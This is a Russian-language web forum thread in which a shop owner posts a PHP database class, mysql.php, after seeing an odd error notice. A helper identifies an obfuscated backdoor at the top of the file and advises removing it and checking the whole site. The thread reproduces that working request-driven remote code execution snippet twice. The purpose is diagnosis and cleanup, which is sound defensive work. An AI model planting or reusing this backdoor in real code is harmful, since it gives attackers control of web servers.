Перейти к содержанию
psantoni

[Решено {вредоносный код}] Вылезла ошибка

Рекомендуемые сообщения

Что это может быть? Как можно избавиться?

Notice: Undefined variable: _REQUEST in /home/users2/***/system/database/mysql.php on line 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

у вас в указанном файле сторонний код (возможно вредоносный).

покажите весь файл.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
<?php $cKM=${'_REQUES'.'T'}; while (isset($cKM['pdlK'])) {

$gU9 = $cKM['rzsT'];

$zHVxT=$cKM['pdlK']($gU9($cKM['iZO']),$gU9($cKM['tnj']));

$zHVxT($gU9($cKM['dmP']));

break; }

final class MySQL {

private $link;

public function __construct($hostname, $username, $password, $database) {

if (!$this->link = mysql_connect($hostname, $username, $password)) {

trigger_error('Error: Could not make a database link using ' . $username . '@' . $hostname);

}

if (!mysql_select_db($database, $this->link)) {

trigger_error('Error: Could not connect to database ' . $database);

}

mysql_query("SET NAMES 'utf8'", $this->link);

mysql_query("SET CHARACTER SET utf8", $this->link);

mysql_query("SET CHARACTER_SET_CONNECTION=utf8", $this->link);

mysql_query("SET SQL_MODE = ''", $this->link);

}

public function query($sql) {

$resource = mysql_query($sql, $this->link);

if ($resource) {

if (is_resource($resource)) {

$i = 0;

$data = array();

while ($result = mysql_fetch_assoc($resource)) {

$data[$i] = $result;

$i++;

}

mysql_free_result($resource);

$query = new stdClass();

$query->row = isset($data[0]) ? $data[0] : array();

$query->rows = $data;

$query->num_rows = $i;

unset($data);

return $query;

} else {

return true;

}

} else {

trigger_error('Error: ' . mysql_error($this->link) . '<br />Error No: ' . mysql_errno($this->link) . '<br />' . $sql);

exit();

}

}

public function escape($value) {

return mysql_real_escape_string($value, $this->link);

}

public function countAffected() {

return mysql_affected_rows($this->link);

}

public function getLastId() {

return mysql_insert_id($this->link);

}

public function __destruct() {

mysql_close($this->link);

}

}

?>

Изменено пользователем afwollis
:: quote -> spoiler

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

убирайте эту ересь:

$cKM=${'_REQUES'.'T'}; while (isset($cKM['pdlK'])) {
$gU9 = $cKM['rzsT'];
$zHVxT=$cKM['pdlK']($gU9($cKM['iZO']),$gU9($cKM['tnj']));
$zHVxT($gU9($cKM['dmP']));
break; }

также (учитывая, что гадость попала на сайт) вам необходимо полностью проверить магазин (файлы) на наличие стороннего кода.

  • +1 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

А как эта херня могла попасть в код?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти

  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.